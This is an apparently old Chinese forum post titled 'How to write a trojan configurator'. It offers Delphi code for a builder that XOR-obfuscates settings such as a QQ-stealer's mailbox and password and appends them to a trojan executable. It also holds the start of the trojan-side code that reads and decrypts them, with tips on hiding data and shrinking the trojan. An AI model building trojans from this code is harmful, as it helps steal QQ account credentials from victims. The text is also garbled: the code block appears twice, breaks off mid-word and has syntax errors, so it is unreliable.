edit_note帖子
1,551
stars积分
20,071
event加入
2011-05-19
怀旧国机
如何编写木马配置器
schedule发表于 2013-01-09 00:47:00
visibility查看 97
chat_bubble回复 1
#1 楼主
配置器代码:
程序代码
{该函数是给配置文件加密用的,采用
的是xor加密方式,你可以改成你喜
欢的加密方式.
当然,这部分绝对可以省略不要.但如
果你往木马中写的配置信息涉及到
你的敏感资料,
例如往QQ木马尾部写“邮箱“? “邮箱
密码“? 那样人家拿Windows记事本
一看,明文记录.
有了这部分就不会出现这种情
况,xor虽然简单,但对付菜鸟足亦.需
要提醒的一点是,这
里不管你用什么加密方式.木马运行
后在内存中一定是解密的,用
WinHex类工具一查内存
还是可以查到你的资料.所以尽量避
免填写敏感资料,例如QQ木马改用
ASP接口,这样它
查到的也是没用的一个网址而已.
}
function EncryptSettings(Str :
String): String;
var
X, Y : Integer;
A : Byte;
Key:string;
begin
Key:=‘Fi7ke‘; //这个是加密钥匙,你
可以随便设置,但解密钥匙要一样,不
然解不了密
Y := 1;
for X := 1 to Length(Str) do
begin
A := (ord(Str[X]) and $$$$0f) xor
(ord(Key[Y]) and $$$$0f);
Str[X] := char((ord(Str[X]) and $$
$$f0) + A);
Inc(Y);
If Y > length(Key) then Y := 1;
end;
Result := Str;
end;
{这一个部分就是正式将数据添加到
木马尾部了.本程序上所用到的控件
有:
Edit1 ~ Edit5 , 一个Button
}
procedure TForm1.Button1Click
(Sender: TObject);
var
f: file;
str: array[1..255] of char;
Each_size: array[1..1] of char;
HostName: string;
len, I: integer;
begin
HostName := EncryptSettings
(edit1.Text+‘>‘+edit2.Text
+‘>‘+edit3.Text+‘>‘+edit4.Text
+‘>‘+edit5.Text+‘>‘);
//将所有数据都加在一起,并用 > 号
来阁开区分,最后用上面的函数加密
后付值给变量HostName.
AssignFile(f, ‘du.exe‘); //打开同目
录下的du.exe,准备修改 (这里假设
du.exe是木马程序)
Reset(f, 1);
seek(f, filesize(f)); //上次是将指针
移动到指定位置,这次是将指针移动
到文件末尾
for i := 1 to 255 do str[i] := char
(0); //循环写入所有的配置数据
for i := 1 to length(str) do str[i] :=
HostName[i];
BlockWrite(f, str, length
(HostName));
Each_size[1] := charlength(HostName)); //计算出配置
数据的长度
blockwrite(f, Each_size, 1); //写入
配置文件的长度到末尾,否则文件改
变了长度没变会出错
CloseFile(f); //最后别忘了关闭
end;
OK.一个配置器就这样写好了,是不
是很Very Easy?木马端代码:
程序代码
program du;
uses Windows; //写木马程序最好
只包含这个单元,该单元主要包含一
些木马用到的API的定义
var
f: file;
each_size: array[1..2] of char;
str: array[1..255] of char;
Setstr, ok1, ok2, ok3, ok4, ok5:
string;
len, i: integer;
good: array[0..255] of string;
{
这个不用多说了吧?Delphi的标准函
数,剔除空格用的.是我为了节约木马
体积
从SysUtils单元中提取出来的.这里
废话几句,其实这是犯了Delphi的大
忌.SysUtils,
System,SysInit同为Delphi的基石.
上面我虽然只定义了Windows单元,
但编译器
会自动加入System,SysInit单元.而
这几个单元包含了Delphi中的几乎
所有异常
处理.是需要互相调用的,这里因为节
约体积,我们才强制Kill掉了SysUtils
单元,
平时可是切忌,切忌~~
}
function Trim(const S: string):
string;
var
I, L: Integer;
begin
L := Length(S);
I := 1;
while (I <= L) and (S[I] <= ‘ ‘) do
Inc(I);
if I > L then Result := ‘‘ else
begin
while S[L] <= ‘ ‘ do Dec(L);
Result := Copy(S, I, L - I + 1);
end;
end;
{配置器里有Xor加密函数,这里肯定
就是Xor解密函数}
function DecryptSettings(Str :
String): String;
var
X, Y : Integer;
A : Byte;
Key:string;
begin
Key:=‘Fi7ke‘; //注意了,这里要和加
密钥匙一样.
Y := 1;
for X := 1 to Length(Str) do
begin
A := (ord(Str[X]) and $$$$0f) xor
(ord(Key[Y]) and $$$$0f);
Str[X] := char((ord(Str[X]) and $$
$$f0) + A);
Inc(Y);
If Y > length(Key) then Y := 1;
end;
Result := Str;
end;
{正式开始了......}
begin
FileMod
程序代码
{该函数是给配置文件加密用的,采用
的是xor加密方式,你可以改成你喜
欢的加密方式.
当然,这部分绝对可以省略不要.但如
果你往木马中写的配置信息涉及到
你的敏感资料,
例如往QQ木马尾部写“邮箱“? “邮箱
密码“? 那样人家拿Windows记事本
一看,明文记录.
有了这部分就不会出现这种情
况,xor虽然简单,但对付菜鸟足亦.需
要提醒的一点是,这
里不管你用什么加密方式.木马运行
后在内存中一定是解密的,用
WinHex类工具一查内存
还是可以查到你的资料.所以尽量避
免填写敏感资料,例如QQ木马改用
ASP接口,这样它
查到的也是没用的一个网址而已.
}
function EncryptSettings(Str :
String): String;
var
X, Y : Integer;
A : Byte;
Key:string;
begin
Key:=‘Fi7ke‘; //这个是加密钥匙,你
可以随便设置,但解密钥匙要一样,不
然解不了密
Y := 1;
for X := 1 to Length(Str) do
begin
A := (ord(Str[X]) and $$$$0f) xor
(ord(Key[Y]) and $$$$0f);
Str[X] := char((ord(Str[X]) and $$
$$f0) + A);
Inc(Y);
If Y > length(Key) then Y := 1;
end;
Result := Str;
end;
{这一个部分就是正式将数据添加到
木马尾部了.本程序上所用到的控件
有:
Edit1 ~ Edit5 , 一个Button
}
procedure TForm1.Button1Click
(Sender: TObject);
var
f: file;
str: array[1..255] of char;
Each_size: array[1..1] of char;
HostName: string;
len, I: integer;
begin
HostName := EncryptSettings
(edit1.Text+‘>‘+edit2.Text
+‘>‘+edit3.Text+‘>‘+edit4.Text
+‘>‘+edit5.Text+‘>‘);
//将所有数据都加在一起,并用 > 号
来阁开区分,最后用上面的函数加密
后付值给变量HostName.
AssignFile(f, ‘du.exe‘); //打开同目
录下的du.exe,准备修改 (这里假设
du.exe是木马程序)
Reset(f, 1);
seek(f, filesize(f)); //上次是将指针
移动到指定位置,这次是将指针移动
到文件末尾
for i := 1 to 255 do str[i] := char
(0); //循环写入所有的配置数据
for i := 1 to length(str) do str[i] :=
HostName[i];
BlockWrite(f, str, length
(HostName));
Each_size[1] := charlength(HostName)); //计算出配置
数据的长度
blockwrite(f, Each_size, 1); //写入
配置文件的长度到末尾,否则文件改
变了长度没变会出错
CloseFile(f); //最后别忘了关闭
end;
OK.一个配置器就这样写好了,是不
是很Very Easy?木马端代码:
程序代码
program du;
uses Windows; //写木马程序最好
只包含这个单元,该单元主要包含一
些木马用到的API的定义
var
f: file;
each_size: array[1..2] of char;
str: array[1..255] of char;
Setstr, ok1, ok2, ok3, ok4, ok5:
string;
len, i: integer;
good: array[0..255] of string;
{
这个不用多说了吧?Delphi的标准函
数,剔除空格用的.是我为了节约木马
体积
从SysUtils单元中提取出来的.这里
废话几句,其实这是犯了Delphi的大
忌.SysUtils,
System,SysInit同为Delphi的基石.
上面我虽然只定义了Windows单元,
但编译器
会自动加入System,SysInit单元.而
这几个单元包含了Delphi中的几乎
所有异常
处理.是需要互相调用的,这里因为节
约体积,我们才强制Kill掉了SysUtils
单元,
平时可是切忌,切忌~~
}
function Trim(const S: string):
string;
var
I, L: Integer;
begin
L := Length(S);
I := 1;
while (I <= L) and (S[I] <= ‘ ‘) do
Inc(I);
if I > L then Result := ‘‘ else
begin
while S[L] <= ‘ ‘ do Dec(L);
Result := Copy(S, I, L - I + 1);
end;
end;
{配置器里有Xor加密函数,这里肯定
就是Xor解密函数}
function DecryptSettings(Str :
String): String;
var
X, Y : Integer;
A : Byte;
Key:string;
begin
Key:=‘Fi7ke‘; //注意了,这里要和加
密钥匙一样.
Y := 1;
for X := 1 to Length(Str) do
begin
A := (ord(Str[X]) and $$$$0f) xor
(ord(Key[Y]) and $$$$0f);
Str[X] := char((ord(Str[X]) and $$
$$f0) + A);
Inc(Y);
If Y > length(Key) then Y := 1;
end;
Result := Str;
end;
{正式开始了......}
begin
FileMod
全部回复 (1)
2013-01-09 01:05:00
沙发
???
登录 后才能回复
flag举报帖子